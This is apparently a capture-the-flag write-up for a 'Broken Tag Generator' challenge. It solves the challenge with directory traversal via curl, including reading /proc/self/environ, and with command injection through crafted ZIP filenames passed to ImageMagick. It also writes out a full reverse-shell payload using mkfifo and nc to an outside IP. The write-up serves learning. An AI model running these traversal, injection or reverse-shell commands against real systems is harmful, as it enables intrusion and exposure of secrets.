Skip to content

Objective #8 - Broken Tag Generator

Objective

Help Noel Boetie fix the Tag Generator in the Wrapping Room. What value is in the environment variable GREETZ? Talk to Holly Evergreen in the kitchen for help with this.

Solution

Step 1: Analyze the website’s functionality. When you upload an image file, the upload request returns a filename that you can then download by visiting /image?id=[filename].

Step 2: Force an error by visiting a non-existent page to see what happens. This tells you the full path on the server’s file system where the application code is stored.

Error message in browser when non-existent page is requested

Step 3: Attempt to download the application’s source code using a directory path traversal attack. This can be used to download any known file from the server.

$ curl --output app.rb https://tag-generator.kringlecastle.com/image?id=../app/lib/app.rb

Step 4: Analyze the source code.

  • When a ZIP file is uploaded, the application will uncompress it to the file system, validate whether the files have a jpg, jpeg, or png extension, then resize the images to 800x600 using ImageMagick with a system call to execute "convert".
  • Jack Frost commented out some important security features that would prevent someone from uploading filenames with special characters.

Step 5: Create a malicious zip file, then start a netcat listener.

Your goal is to exploit a specific line of code in app.rb where a system call to resize the image is made.

if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'")

One of the command line parameters is the filename, which you control. You'll delimit the command with a semicolon, which allows you to run any command of your choosing under the context of the web server. You could run something like env>environ.txt to dump the environment variables to a text file.

$ touch "f';env>foo.txt;'.png"
$ zip test.zip "f';env>foo.txt;'.png"
  adding: f';env>environ.txt;'.png (deflated 1%)

Step 6: Upload the zip file to the website and then download the resulting text file by exploiting the directory traversal vulnerability again.

$ curl --output - https://tag-generator.kringlecastle.com/image?id=foo.txt
RUBY_MAJOR=2.7
GREETZ=JackFrostWasHere
<...output omitted...>

😣 I pulled a lot of hairs over this remote code execution. It wasn't until I installed ImageMagick and tested the script locally that I realized I had to close a single quotation mark. Thank you @john_r2 for pulling me out of that rabbit hole so I could carry this one over the finish line!

Alternate Solution

You can solve this objective with a single command. Since environment variables can be accessed through the proc file system, you can use curl to fetch the file /proc/self/environ to see the web server process's environment variables.

$ curl --output - https://tag-generator.kringlecastle.com/image?id=../proc/self/environ

PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=3acd3f464d04RUBY_MAJOR=2.7RUBY_VERSION=2.7.0RUBY_DOWNLOAD_SHA256=27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343GEM_HOME=/usr/local/bundleBUNDLE_SILENCE_ROOT_WARNING=1BUNDLE_APP_CONFIG=/usr/local/bundleAPP_HOME=/appPORT=4141HOST=0.0.0.0GREETZ=JackFrostWasHereHOME=/home/app

Getting Reverse Shell

It's also possible to get a remote shell on this system using the same technique.

Step 1: Create a malicious zip file and set up a netcat listener.

$ touch "f'rm f;mkfifo f;cat f|sh -i 2>&1|nc 12.34.56.78 5555 >f;'.png"

$ zip exploit.zip "f'rm f;mkfifo f;cat f|sh -i 2>&1|nc 12.34.56.78 5555 >f;'.png"

Step 2: Set up a netcat listener on your host and upload the zip file to the website.

$ netcat -vnlp 5555
Listening on 0.0.0.0 5555
Connection received on 35.232.236.115 39988
id
uid=1000(app) gid=1000(app) groups=1000(app)
env | grep GREETZ
GREETZ=JackFrostWasHere

Answer: JackFrostWasHere